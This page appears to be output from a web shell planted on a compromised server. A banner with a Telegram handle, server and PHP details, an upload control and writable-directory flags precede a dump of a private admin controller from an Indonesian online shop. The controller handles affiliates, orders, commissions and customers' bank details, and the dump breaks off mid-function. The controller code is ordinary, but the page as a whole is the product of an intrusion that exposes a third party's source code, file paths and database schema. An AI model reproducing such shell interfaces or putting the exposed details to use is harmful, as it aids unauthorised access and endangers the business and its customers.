https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/controllers/admin/Affiliator.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Affiliator extends Admin_Controller
{

    function __construct()
    {
        parent::__construct();
        $this->load->model('affiliator_m');
        $this->load->model('product_m');
        $this->load->model('customer_m');
        $this->load->model('log_m');
    }


    function dashboard()
    {
        $data['userdata'] = $this->session->userdata();
        $data['role'] = $this->session->userdata('role');

        $data['approved_affiliate'] = $this->affiliator_m->count_approved_affiliate(); // Count active affiliate
        $data['pending_affiliate'] = $this->affiliator_m->count_pending_affiliate(); // Count pending affiliate
        $data['rejected_affiliate'] = $this->affiliator_m->count_rejected_affiliate(); // Count rejected affiliate

        $data['affiliate_transactions'] = $this->affiliator_m->count_affiliate_transactions(); // Count transaction using affiliate referral code
        $data['paid_commission'] = $this->affiliator_m->get_paid_commission(); // Count transaction using affiliate referral code
        $data['top_affiliate'] = $this->affiliator_m->get_best_affiliate();


        $data['title'] = 'Dashboard Afiliasi | Laciasmara';

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/index');
        $this->load->view('admin_new/layouts/footer');
    }

    function transactions()
    {
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Transaksi Afiliasi | Laciasmara';
        $data['affiliates'] = $this->affiliator_m->fetch_all_affiliates();


        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/transaksi');
        $this->load->view('admin_new/layouts/footer');
    }

    public function manage()
    {
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Daftar Affiliate | Laciasmara';

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/manage');
        $this->load->view('admin_new/layouts/footer');
    }

    public function add()
    {

        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Tambah Affiliate | Laciasmara';
        $data['customers'] = $this->customer_m->fetch_all_customers();

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/add');
        $this->load->view('admin_new/layouts/footer');
    }
    public function commission()
    {
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Laporan Komisi | Laciasmara';

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/commission');
        $this->load->view('admin_new/layouts/footer');
    }

    public function detail($id_affiliate = NULL)
    {
        if (!$id_affiliate) {
            redirect('admin/affiliate/manage');
        }
        $data['userdata'] = $this->session->userdata();
        $data['title'] = 'Detail Affiliate | Laciasmara';

        // Fetch data order
        $data['affiliate'] = $this->affiliator_m->fetch_affiliate_data($id_affiliate);
        if (!$data['affiliate']) {
            $this->session->set_flashdata('message', 'Affiliate ID tidak ditemukan.');
            $this->session->set_flashdata('message_type', 'error');
            redirect('admin/affiliate/manage');
        }

        $this->load->view('admin_new/layouts/header', $data);
        $this->load->view('admin_new/affiliate/detail');
        $this->load->view('admin_new/layouts/footer');
    }

    public function get_affiliate_orders()
    {
        // Get filter parameters
        $tab = $this->input->get('tab', true);
        $sort = $this->input->get('sort', true);
        $dateFilter = $this->input->get('date_filter', true);
        $startDate = $this->input->get('start_date', true);
        $endDate = $this->input->get('end_date', true);
        $isAsmaradoor = filter_var($this->input->get('isAsmaradoor', true), FILTER_VALIDATE_BOOLEAN);
        $isAsmarasana = filter_var($this->input->get('isAsmarasana', true), FILTER_VALIDATE_BOOLEAN);

        $isBCATransfer = filter_var($this->input->get('isBCATransfer', true), FILTER_VALIDATE_BOOLEAN);
        $isMandiriTransfer = filter_var($this->input->get('isMandiriTransfer', true), FILTER_VALIDATE_BOOLEAN);
        $isPaypal = filter_var($this->input->get('isPaypal', true), FILTER_VALIDATE_BOOLEAN);
        $isDoku = filter_var($this->input->get('isDoku', true), FILTER_VALIDATE_BOOLEAN);

        $isRegularShipping = filter_var($this->input->get('isRegularShipping', true), FILTER_VALIDATE_BOOLEAN);
        $isTwoHourShipping = filter_var($this->input->get('isTwoHourShipping', true), FILTER_VALIDATE_BOOLEAN);
        $isOneDayShipping = filter_var($this->input->get('isOneDayShipping', true), FILTER_VALIDATE_BOOLEAN);
        $isNextDayShipping = filter_var($this->input->get('isNextDayShipping', true), FILTER_VALIDATE_BOOLEAN);

        $page = (int) ($this->input->get('page', true) ?? 1);
        $limit = (int) ($this->input->get('limit', true) ?? 10);
        $offset = ($page - 1) * $limit;

        $searchTerm = $this->input->get('search', true);
        $affiliateIds = $this->input->get('affiliateId', true);

        // Build main query
        $this->db->select('
            o.id_orders,
            o.customer_id,
            o.order_date,
            o.payment_status,
            o.payment_confirm,
            o.grand_total_amount,
            o.payment_type,
            o.recipient_name,
            o.address,
            o.district,
            o.subdistrict,
            o.province,
            o.phone,
            o.email,
            o.redeemed_voucher_code,
            o.redeemed_voucher_type,
            o.redeemed_voucher_value,
            o.redeemed_voucher_amount,
            o.shipping_fee,
            o.customer_note,
            o.admin_note,
            o.first,
            o.gift_receiver_name,
            o.gift_receiver_phone,
            o.insurance_status,
            o.insurance_cost,
            o.source,
            o.medium,
            o.campaign,
            o.tokopedia_invoice,
            o.no_resi,
            a.id AS affiliator_id,
            a.referral_code,
            a.type AS affiliator_type,
            c.name AS customer_name,
            c.email AS customer_email,
            c.phone AS customer_phone
        ');
        $this->db->from('orders o');
        $this->db->join('affiliators a', 'o.redeemed_voucher_code = a.referral_code OR o.source = a.referral_code OR o.referral = a.referral_code', 'inner');
        $this->db->join('customers c', 'a.customer_id = c.id_customers', 'left');

        // Filter by affiliate IDs
        if ($affiliateIds) {
            $affiliateIdArray = explode(',', $affiliateIds);
            if (!empty($affiliateIdArray)) {
                $this->db->where_in('a.id', $affiliateIdArray);
            }
        }

        // Filter kategori (type)
        $typeConditions = [];
        if ($isAsmaradoor) $typeConditions[] = "a.type = 'asmaradoor'";
        if ($isAsmarasana) $typeConditions[] = "a.type = 'asmarasana'";
        if (!empty($typeConditions)) {
            $this->db->group_start();
            $this->db->where(implode(' OR ', $typeConditions), null, false);
            $this->db->group_end();
        }

        // Apply payment status filters by tab
        if ($tab) {
            switch ($tab) {
                case 'pending':
                    $this->db->where_in('o.payment_status', [0, 1, 3]);
                    break;
                case 'cancelled':
                    $this->db->where('o.payment_status', 2);
                    break;
                case 'processing':
                    $this->db->where('o.payment_status', 4);
                    break;
                case 'done':
                    $this->db->where_in('o.payment_status', [5, 8]);
                    break;
            }
        }

        // Payment type filters
        $paymentTypes = [];
        if ($isBCATransfer) $paymentTypes[] = 'bank transfer BCA';
        if ($isMandiriTransfer) $paymentTypes[] = 'bank transfer MANDIRI';
        if ($isPaypal) $paymentTypes[] = 'Paypal';
        if ($isDoku) $paymentTypes[] = 'DOKU';
        if (!empty($paymentTypes)) {
            $this->db->where_in('o.payment_type', $paymentTypes);
        }

        // Shipping method filters
        $shippingMethods = [];
        if ($isRegularShipping) $shippingMethods[] = 3;
        if ($isTwoHourShipping) $shippingMethods[] = 2;
        if ($isOneDayShipping) $shippingMethods[] = 1;
        if ($isNextDayShipping) $shippingMethods[] = 4;
        if (!empty($shippingMethods)) {
            $this->db->join('orders_detail od', 'o.id_orders = od.orders_id', 'inner');
            $this->db->where_in('od.chosen_shipping_id', $shippingMethods);
            $this->db->group_by('o.id_orders');
        }

        // Date filter
        if ($dateFilter) {
            switch ($dateFilter) {
                case 'today':
                    $this->db->where('DATE(o.order_date) = CURDATE()', null, false);
                    break;
                case 'yesterday':
                    $this->db->where('DATE(o.order_date) = DATE_SUB(CURDATE(), INTERVAL 1 DAY)', null, false);
                    break;
                case 'last7days':
                    $this->db->where('o.order_date >= DATE_SUB(CURDATE(), INTERVAL 7 DAY)', null, false);
                    break;
                case 'last30days':
                    $this->db->where('o.order_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)', null, false);
                    break;
                case 'thisMonth':
                    $this->db->where('MONTH(o.order_date) = MONTH(CURDATE()) AND YEAR(o.order_date) = YEAR(CURDATE())', null, false);
                    break;
                case 'thisYear':
                    $this->db->where('YEAR(o.order_date) = YEAR(CURDATE())', null, false);
                    break;
                case 'custom':
                    if ($startDate && $endDate) {
                        $startDate = date('Y-m-d', strtotime($startDate));
                        $endDate = date('Y-m-d', strtotime($endDate));
                        $this->db->where('DATE(o.order_date) >=', $startDate);
                        $this->db->where('DATE(o.order_date) <=', $endDate);
                    }
                    break;
            }
        }

        // Search
        if (!empty($searchTerm)) {
            $this->db->group_start();
            $this->db->like('o.id_orders', $searchTerm);
            $this->db->or_like('o.recipient_name', $searchTerm);
            $this->db->or_like('o.email', $searchTerm);
            $this->db->or_like('o.redeemed_voucher_code', $searchTerm);
            $this->db->or_like('o.source', $searchTerm);
            $this->db->or_like('a.referral_code', $searchTerm);
            $this->db->or_like('c.name', $searchTerm);
            $this->db->group_end();
        }

        // Sorting
        if ($sort === 'paling_lama') {
            $this->db->order_by('o.order_date', 'ASC');
        } else {
            $this->db->order_by('o.order_date', 'DESC');
        }

        $this->db->limit($limit, $offset);

        // Execute query
        $query = $this->db->get();
        $orders = $query->result();

        // Post-processing: add details per order
        foreach ($orders as $order) {
            $this->db->select('
            od.id_orders_detail,
            od.item_name,
            od.item_price,
            od.quantity,
            od.subtotal,
            sm.name AS shipping_method_name
        ');
            $this->db->from('orders_detail od');
            $this->db->join('shipment_method sm', 'od.chosen_shipping_id = sm.id', 'left');
            $this->db->where('od.orders_id', $order->id_orders);
            $order->items = $this->db->get()->result();

            $order->total_items = array_sum(array_column($order->items, 'quantity'));
            $order->order_date_formatted = date('d M Y H:i', strtotime($order->order_date));

            // Status label
            $statusLabels = [
                0 => ['Pending', 'bg-yellow-100 text-yellow-700 px-2 py-1 rounded'],
                1 => ['Menunggu Pembayaran', 'bg-orange-100 text-orange-700 px-2 py-1 rounded'],
                2 => ['Dibatalkan', 'bg-red-100 text-red-700 px-2 py-1 rounded'],
                3 => ['Sudah Dibayar', 'bg-green-100 text-green-700 px-2 py-1 rounded'],
                4 => ['Diproses', 'bg-blue-100 text-blue-700 px-2 py-1 rounded'],
                5 => ['Selesai', 'bg-gray-100 text-gray-700 px-2 py-1 rounded'],
                8 => ['Selesai (Affiliate)', 'bg-purple-100 text-purple-700 px-2 py-1 rounded'],
            ];
            $order->payment_status_text = $statusLabels[$order->payment_status][0] ?? 'Unknown';
            $order->payment_status_class = $statusLabels[$order->payment_status][1] ?? 'bg-gray-300 text-gray-800 px-2 py-1 rounded';
        }

        echo json_encode($orders);
    }


    public function get_affiliates()
    {
        // Get filter parameters
        $tab = $this->input->get('tab', true);
        $sort = $this->input->get('sort', true);

        $isMale = filter_var($this->input->get('isMale', true), FILTER_VALIDATE_BOOLEAN);
        $isFemale = filter_var($this->input->get('isFemale', true), FILTER_VALIDATE_BOOLEAN);
        $isOther = filter_var($this->input->get('isOther', true), FILTER_VALIDATE_BOOLEAN);

        $page = (int) ($this->input->get('page', true) ?? 1);
        $limit = (int) ($this->input->get('limit', true) ?? 10);
        $offset = ($page - 1) * $limit;

        $searchTerm = $this->input->get('search', true);

        /*
        |--------------------------------------------------------------------------
        | COUNT TOTAL AFFILIATES
        |--------------------------------------------------------------------------
        */
        $this->db->select('COUNT(DISTINCT a.id) as total');
        $this->db->from('affiliators a');
        $this->db->join('customers cs', 'a.customer_id = cs.id_customers', 'left');

        // Tab filter
        if ($tab && $tab != 'all') {
            $this->db->where('a.status', $tab);
        }

        // Gender filter
        if ($isMale || $isFemale || $isOther) {
            $sexTypes = [];
            if ($isMale) $sexTypes[] = 'male';
            if ($isFemale) $sexTypes[] = 'female';
            if ($isOther) $sexTypes[] = 'others';

            if (!empty($sexTypes)) {
                $this->db->where_in('cs.sex_type', $sexTypes);
            }
        }

        // Search filter
        if (!empty($searchTerm)) {
            $this->db->group_start();
            $this->db->like('cs.name', $searchTerm);
            $this->db->or_like('cs.email', $searchTerm);
            $this->db->or_like('cs.phone', $searchTerm);
            $this->db->or_like('a.social_media', $searchTerm);
            $this->db->or_like('a.referral_code', $searchTerm);
            $this->db->group_end();
        }

        $count_query = $this->db->get();
        $total_affiliates = $count_query->row()->total ?? 0;

        /*
        |--------------------------------------------------------------------------
        | MAIN QUERY
        |--------------------------------------------------------------------------
        */
        $this->db->select('
            a.*,
            cs.name AS customer_name,
            cs.phone AS customer_phone,
            cs.email AS customer_email,
            addr.address AS shipping_address,
            addr.province AS shipping_province,
            addr.city AS shipping_city,
            addr.district AS shipping_district,
            addr.subdistrict AS shipping_subdistrict,
            IFNULL(orders.total_orders, 0) AS total_orders,
            IFNULL(orders.total_sales, 0) AS total_sales
        ');
        $this->db->from('affiliators a');
        $this->db->join('customers cs', 'a.customer_id = cs.id_customers', 'left');
        $this->db->join('customer_addresses addr', 'addr.customer_id = cs.id_customers AND addr.is_default = 1', 'left');

        $this->db->join("(
            SELECT 
                o.redeemed_voucher_code,
                o.referral,
                COUNT(DISTINCT o.id_orders) AS total_orders,
                SUM(o.grand_total_amount) AS total_sales
            FROM orders o
            WHERE o.payment_status = 5
            GROUP BY o.redeemed_voucher_code, o.referral
        ) AS orders", '(orders.redeemed_voucher_code = a.referral_code OR orders.referral = a.referral_code)', 'left');

        // Tab filter
        if ($tab && $tab != 'all') {
            $this->db->where('a.status', $tab);
        }

        // Gender filter
        if ($isMale || $isFemale || $isOther) {
            $sexTypes = [];
            if ($isMale) $sexTypes[] = 'male';
            if ($isFemale) $sexTypes[] = 'female';
            if ($isOther) $sexTypes[] = 'others';

            if (!empty($sexTypes)) {
                $this->db->where_in('cs.sex_type', $sexTypes);
            }
        }

        // Search filter
        if (!empty($searchTerm)) {
            $this->db->group_start();
            $this->db->like('cs.name', $searchTerm);
            $this->db->or_like('cs.email', $searchTerm);
            $this->db->or_like('cs.phone', $searchTerm);
            $this->db->or_like('a.social_media', $searchTerm);
            $this->db->or_like('a.referral_code', $searchTerm);
            $this->db->group_end();
        }

        // Sorting
        if ($sort) {
            switch ($sort) {
                case 'paling_baru':
                    $this->db->order_by('a.created_at', 'DESC');
                    break;
                case 'paling_lama':
                    $this->db->order_by('a.created_at', 'ASC');
                    break;
                case 'jual_banyak':
                    $this->db->order_by('total_orders', 'DESC');
                    break;
                case 'jual_dikit':
                    $this->db->order_by('total_orders', 'ASC');
                    break;
                default:
                    $this->db->order_by('a.created_at', 'DESC');
            }
        } else {
            $this->db->order_by('a.created_at', 'DESC');
        }

        // Pagination
        $this->db->limit($limit, $offset);

        $query = $this->db->get();
        $all_affiliates = $query->result();

        /*
        |--------------------------------------------------------------------------
        | POST-PROCESSING DATA
        |--------------------------------------------------------------------------
        */
        foreach ($all_affiliates as $affiliate) {
            $affiliate->created_formatted = date('d M Y H:i', strtotime($affiliate->created_at));

            switch ($affiliate->status) {
                case 'active':
                    $affiliate->status_text = 'Active';
                    $affiliate->status_class = 'bg-green-100 text-green-700 px-2 py-1 rounded';
                    break;
                case 'pending':
                    $affiliate->status_text = 'Pending';
                    $affiliate->status_class = 'bg-yellow-100 text-yellow-700 px-2 py-1 rounded';
                    break;
                case 'rejected':
                    $affiliate->status_text = 'Rejected';
                    $affiliate->status_class = 'bg-red-100 text-red-700 px-2 py-1 rounded';
                    break;
                default:
                    $affiliate->status_text = ucfirst($affiliate->status);
                    $affiliate->status_class = 'bg-gray-100 text-gray-700 px-2 py-1 rounded';
            }

            $affiliate->kategori_text = ucfirst($affiliate->type);
            $affiliate->komisi_formatted = 'Rp 0';
            $affiliate->account_info = trim($affiliate->bank_account_name . ' - ' . $affiliate->bank_account_number . ' (' . $affiliate->bank_name . ')');
            $affiliate->total_sales_formatted = 'Rp ' . number_format($affiliate->total_sales, 0, ',', '.');
        }

        /*
        |--------------------------------------------------------------------------
        | PAGINATION INFO
        |--------------------------------------------------------------------------
        */
        $total_pages = ceil($total_affiliates / $limit);
        $pagination = [
            'current_page' => $page,
            'total_pages' => $total_pages,
            'total_records' => $total_affiliates,
            'limit' => $limit
        ];

        foreach ($all_affiliates as $affiliate) {
            $affiliate->_pagination = $pagination;
        }

        log_message('debug', 'Affiliates: ' . print_r($all_affiliates, true));

        echo json_encode($all_affiliates);
    }

    public function get_commissions()
    {
        // Get filter parameters
        $tab = $this->input->get('tab', true);
        $page = (int) ($this->input->get('page', true) ?? 1);
        $limit = (int) ($this->input->get('limit', true) ?? 10);
        $offset = ($page - 1) * $limit;
        $searchTerm = $this->input->get('search', true);

        // Base query
        $this->db->select("
            a.id AS affiliator_id,
            a.customer_id,
            c.name AS customer_name,
            c.email AS customer_email,
            c.phone AS customer_phone,
            a.bank_name,
            a.bank_account_number,
            a.bank_account_name,
            a.referral_code,
            IFNULL(SUM(ac.commission_amount), 0) AS total_earned_commission,
            IFNULL(SUM(aw.amount), 0) AS total_withdrawn,
            (IFNULL(SUM(ac.commission_amount), 0) - IFNULL(SUM(aw.amount), 0)) AS total_pending
            " . ($tab === 'paid' ? ", aw.proof_image" : "") . "
        ");
        $this->db->from('affiliators a');
        $this->db->join('customers c', 'a.customer_id = c.id_customers', 'left');
        $this->db->join('affiliator_commissions ac', 'a.id = ac.affiliator_id AND ac.status IN ("approved","paid")', 'left');
        $this->db->join('affiliator_withdrawals aw', 'a.id = aw.affiliator_id AND aw.status IN ("completed","processing")', 'left');

        // Tab condition
        if ($tab === 'pending') {
            // Belum dicairkan (withdraw belum dibuat atau belum completed)
            $this->db->having('total_pending >', 0);
        } elseif ($tab === 'paid') {
            // Sudah dicairkan
            $this->db->having('total_withdrawn >', 0);
        }

        // Search filter
        if (!empty($searchTerm)) {
            $this->db->group_start();
            $this->db->like('c.name', $searchTerm);
            $this->db->or_like('c.email', $searchTerm);
            $this->db->or_like('c.phone', $searchTerm);
            $this->db->or_like('a.bank_account_name', $searchTerm);
            $this->db->or_like('a.bank_account_number', $searchTerm);
            $this->db->or_like('a.bank_name', $searchTerm);
            $this->db->group_end();
        }

        $this->db->group_by('a.id');
        $this->db->order_by('c.name', 'ASC');

        $query = $this->db->get();
        $commissions = $query->result();

        // Post-processing & formatting
        $formatted = [];
        foreach ($commissions as $item) {
            $item->account_info = $item->bank_account_name . ' - ' . $item->bank_account_number . ' (' . $item->bank_name . ')';
            $item->proof = !empty($item->proof_image) ? base_url('uploads/withdrawals/' . $item->proof_image) : null;

            $item->total_earned_commission_formatted = 'Rp ' . number_format($item->total_earned_commission, 0, ',', '.');
            $item->total_withdrawn_formatted = 'Rp ' . number_format($item->total_withdrawn, 0, ',', '.');
            $item->total_pending_formatted = 'Rp ' . number_format($item->total_pending, 0, ',', '.');

            // Hanya tampilkan yang relevan sesuai tab
            if ($tab === 'pending' && $item->total_pending <= 10000) continue;

            $formatted[] = $item;
        }

        // Pagination
        $total_commissions = count($formatted);
        $paginated = array_slice($formatted, $offset, $limit);
        $total_pages = ceil($total_commissions / $limit);
        $pagination = [
            'current_page' => $page,
            'total_pages' => $total_pages,
            'total_records' => $total_commissions,
            'limit' => $limit
        ];

        foreach ($paginated as $item) {
            $item->_pagination = $pagination;
        }

        // Return JSON response
        echo json_encode($paginated);
    }

    public function create_affiliate()
    {
        // Ambil data dari POST dengan benar
        $customer_id = (int) $this->input->post('id_customers', true);
        $social = $this->input->post('affiliate_social', true);
        $type = $this->input->post('affiliate_type');
        $status = $this->input->post('affiliate_status', true);
        $referral = trim($this->input->post('affiliate_ref', true));

        $admin_id = $this->session->userdata('user_id');
        // Validasi input type
        if (empty($type) || !in_array($type, ['asmaradoor', 'asmarasana'])) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Tipe affiliator tidak valid.');
            redirect(base_url('admin/affiliate/add'));
            return;
        }

        // Pastikan customer valid
        $customer = $this->db->select('id_customers, name, email, phone')
            ->from('customers')
            ->where('id_customers', $customer_id)
            ->get()
            ->row();

        if (!$customer) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Customer tidak ditemukan.');
            redirect(base_url('admin/affiliate/add'));
            return;
        }

        // Cek apakah customer sudah punya affiliator aktif
        $alreadyAffiliate = $this->db->where('customer_id', $customer_id)
            ->get('affiliators')
            ->num_rows();

        if ($alreadyAffiliate > 0) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Customer ini sudah terdaftar sebagai affiliator.');
            redirect(base_url('admin/affiliate/add'));
            return;
        }

        // Cek apakah referral code sudah digunakan
        if (!empty($referral)) {
            $referralExists = $this->db->where('referral_code', $referral)
                ->get('affiliators')
                ->num_rows();

            if ($referralExists > 0) {
                $this->session->set_flashdata('message_type', 'error');
                $this->session->set_flashdata('message', 'Kode referral sudah digunakan, silakan pilih kode lain.');
                redirect(base_url('admin/affiliate/add'));
                return;
            }
        } else {
            // Generate referral code otomatis jika kosong
            $name_clean = preg_replace('/[^A-Za-z]/', '', $customer->name);
            $referral = 'LACI' . strtoupper(substr($name_clean, 0, 3));

            // Cek uniqueness, tambah angka jika sudah ada
            $counter = 1;
            $temp_referral = $referral;
            while ($this->db->where('referral_code', $temp_referral)->get('affiliators')->num_rows() > 0) {
                $temp_referral = $referral . $counter;
                $counter++;
            }
            $referral = $temp_referral;
        }

        // Format social media dengan platform detection
        $social_media_data = null;
        if (!empty($social)) {
            $platform = 'other';
            $url = trim($social);

            // Deteksi platform berdasarkan URL
            if (stripos($url, 'instagram.com') !== false) {
                $platform = 'instagram';
            } elseif (stripos($url, 'tiktok.com') !== false) {
                $platform = 'tiktok';
            } elseif (stripos($url, 'facebook.com') !== false || stripos($url, 'fb.com') !== false) {
                $platform = 'facebook';
            } elseif (stripos($url, 'twitter.com') !== false || stripos($url, 'x.com') !== false) {
                $platform = 'twitter';
            } elseif (stripos($url, 'youtube.com') !== false || stripos($url, 'youtu.be') !== false) {
                $platform = 'youtube';
            } elseif (stripos($url, 'linkedin.com') !== false) {
                $platform = 'linkedin';
            }

            $social_media_data = json_encode([
                'url' => $url,
                'platform' => $platform
            ]);
        }

        // Tentukan komisi dan diskon berdasarkan tipe affiliator
        $commission_rate = 0;
        $customer_discount_rate = 0.00;

        if ($type === 'asmaradoor') {
            $commission_rate = 10.00;
            $customer_discount_rate = 10.00;
        } elseif ($type === 'asmarasana') {
            $commission_rate = 20.00;
            $customer_discount_rate = 0.00;
        }

        // Mapping status affiliator ke customer affiliate status
        $customer_affiliate_status_map = [
            'active'    => 'approve',
            'pending'   => 'waiting',
            'rejected'  => 'rejected',
            'suspended' => 'rejected'
        ];

        $customer_affiliate_status = $customer_affiliate_status_map[$status];

        // Simpan ke database
        $this->db->trans_start();

        try {
            // Update customer table
            $customer_update_data = [
                'affiliate' => $customer_affiliate_status,
            ];

            // Set affiliate_register_date jika status active
            if ($status === 'active') {
                $customer_update_data['affiliate_register_date'] = date('Y-m-d H:i:s');
            }

            $this->db->where('id_customers', $customer_id)
                ->update('customers', $customer_update_data);

            // Insert ke affiliators table
            $data = [
                'customer_id'            => $customer_id,
                'type'                   => $type,
                'referral_code'          => $referral,
                'social_media'           => $social_media_data,
                'commission_rate'        => $commission_rate,
                'customer_discount_rate' => $customer_discount_rate,
                'status'                 => $status,
                'created_at'             => date('Y-m-d H:i:s'),
                'updated_at'             => date('Y-m-d H:i:s'),
            ];

            if ($status === 'active') {
                $data['approved_at'] = date('Y-m-d H:i:s');
                $data['approved_by'] = $admin_id;
            }

            $this->db->insert('affiliators', $data);

            if ($this->db->trans_status() === false) {
                throw new Exception('Terjadi kesalahan saat menyimpan data affiliator.');
            }

            $this->db->trans_commit();

            // Flash message sukses
            $this->session->set_flashdata('message_type', 'success');
            $this->session->set_flashdata('message', 'Affiliator berhasil ditambahkan!');
            redirect(base_url('admin/affiliate/manage'));
        } catch (Exception $e) {
            $this->db->trans_rollback();

            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', $e->getMessage());
            redirect(base_url('admin/affiliate/add'));
        }
    }

    public function update_affiliate($id)
    {
        // Validasi ID affiliate
        $affiliate_id = (int) $id;

        if ($affiliate_id <= 0) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'ID Affiliator tidak valid.');
            redirect(base_url('admin/affiliator'));
            return;
        }

        // Cek apakah affiliator exists
        $existing_affiliate = $this->db->select('id, customer_id, referral_code, status')
            ->from('affiliators')
            ->where('id', $affiliate_id)
            ->get()
            ->row();

        if (!$existing_affiliate) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Affiliator tidak ditemukan.');
            redirect(base_url('admin/affiliator'));
            return;
        }

        // Ambil data dari POST
        $customer_id = (int) $this->input->post('customer_id', true);
        $social = $this->input->post('affiliate_social', true);
        $type = $this->input->post('affiliate_category', true);
        $status = $this->input->post('affiliate_status', true);
        $referral = trim($this->input->post('affiliate_ref', true));
        $bank_name = $this->input->post('affiliate_bank', true);
        $account_name = $this->input->post('account_name', true);
        $account_number = $this->input->post('account_number', true);
        $shipping_address = $this->input->post('customer_address', true);

        $admin_id = $this->session->userdata('user_id');

        // Validasi input type
        if (empty($type) || !in_array($type, ['asmaradoor', 'asmarasana'])) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Tipe affiliator tidak valid.');
            redirect(base_url('admin/affiliator/edit/' . $affiliate_id));
            return;
        }

        // Validasi status
        if (empty($status) || !in_array($status, ['pending', 'active', 'suspended', 'rejected'])) {
            $this->session->set_flashdata('message_type', 'error');
            $this->session->set_flashdata('message', 'Status affiliator tidak valid.');
            redirect(base_url('admin/affiliator/edit/' . $affiliate_id));
            return;
        }

        // Cek apakah referral code sudah digunakan oleh affiliator lain
        if (!empty($referral) && $referral !== $existing_affiliate->referral_code) {
            $referralExists = $this->db->where('referral_code', $referral)
                ->where('id !=', $affiliate_id)
                ->get('affiliators')
                ->num_rows();

            if ($referralExists > 0) {
                $this->session->set_flashdata('message_type', 'error');
                $this->session->set_flashdata('message', 'Kode referral sudah digunakan, silakan pilih kode lain.');
                redirect(base_url('admin/affiliator/edit/' . $affiliate_id));
                return;
            }
        }

        // Format social media dengan platform detection
        $social_media_data = null;
        if (!empty($social)) {
            $platform = 'other';
            $url = trim($social);

            // Deteksi platform berdasarkan URL
            if (stripos($url, 'instagram.com') !== false) {
                $platform = 'instagram';
            } elseif (stripos($url, 'tiktok.com') !== false) {
                $platform = 'tiktok';
            } elseif (stripos($url, 'facebook.com') !== false || stripos($url, 'fb.com') !== false) {
                $platform = 'facebook';
            } elseif (stripos($url, 'twitter.com') !== false || stripos($url, 'x.com') !== false) {
                $platform = 'twitter';
            } elseif (stripos($url, 'youtube.com') !== false || stripos($url, 'youtu.be') !== false) {
                $platform = 'youtube';
            } elseif (stripos($url, 'linkedin.com') !== false) {
                $platform = 'linkedin';
            }

            $social_media_data = json_encode([
                'url' => $url,
                'platform' => $platform
            ]);
        }

        // Tentukan komisi dan diskon berdasarkan tipe affiliator
        $commission_rate = 0;
        $customer_discount_rate = 0.00;

        if ($type === 'asmaradoor') {
            $commission_rate = 10.00;
            $customer_discount_rate = 10.00;
        } elseif ($type === 'asmarasana') {
            $commission_rate = 20.00;
            $customer_discount_rate = 0.00;
        }

        // Mapping status affiliator ke customer affiliate status
        $customer_affiliate_status_map = [
            'active'    => 'approve',
            'pending'   => 'waiting',
            'rejected'  => 'rejected',
            'suspended' => 'rejected' // atau bisa 'approve' tergantung business logic
        ];

        $customer_affiliate_status = $customer_affiliate_status_map[$status];

        // Mulai transaction
        $this->db->trans_start();

        try {
            // Update data customer
            $customer_data = [
                'affiliate' => $customer_affiliate_status,
            ];

            // Set affiliate_register_date jika status berubah ke active untuk pertama kali
            if ($status === 'active' && $existing_affiliate->status !== 'active') {
                // Cek apakah affiliate_register_date sudah pernah di-set
                $customer_check = $this->db->select('affiliate_register_date')
                    ->from('customers')
                    ->where('id_customers', $customer_id)
                    ->get()
                    ->row();

                if (empty($customer_check->affiliate_register_date)) {
                    $customer_data['affiliate_register_date'] = date('Y-m-d H:i:s');
                }
            }

            $this->db->where('id_customers', $customer_id)
                ->update('customers', $customer_data);

            // Update data affiliator
            $affiliate_data = [
                'type'                   => $type,
                'referral_code'          => !empty($referral) ? $referral : $existing_affiliate->referral_code,
                'social_media'           => $social_media_data,
                'commission_rate'        => $commission_rate,
                'customer_discount_rate' => $customer_discount_rate,
                'bank_name'              => !empty($bank_name) ? $bank_name : null,
                'bank_account_name'      => !empty($account_name) ? $account_name : null,
                'bank_account_number'    => !empty($account_number) ? $account_number : null,
                'status'                 => $status,
                'updated_at'             => date('Y-m-d H:i:s'),
            ];

            // Jika status berubah menjadi active dan sebelumnya bukan active
            if ($status === 'active' && $existing_affiliate->status !== 'active') {
                $affiliate_data['approved_at'] = date('Y-m-d H:i:s');
                $affiliate_data['approved_by'] = $admin_id;
            }

            $this->db->where('id', $affiliate_id)
                ->update('affiliators', $affiliate_data);

            if ($this->db->trans_status() === false) {
                throw new Exception('Terjadi kesalahan saat mengupdate data affiliator.');
            }

            $this->db->trans_commit();

            // Flash message sukses
            $this->session->set_flashdata('message_type', 'success');
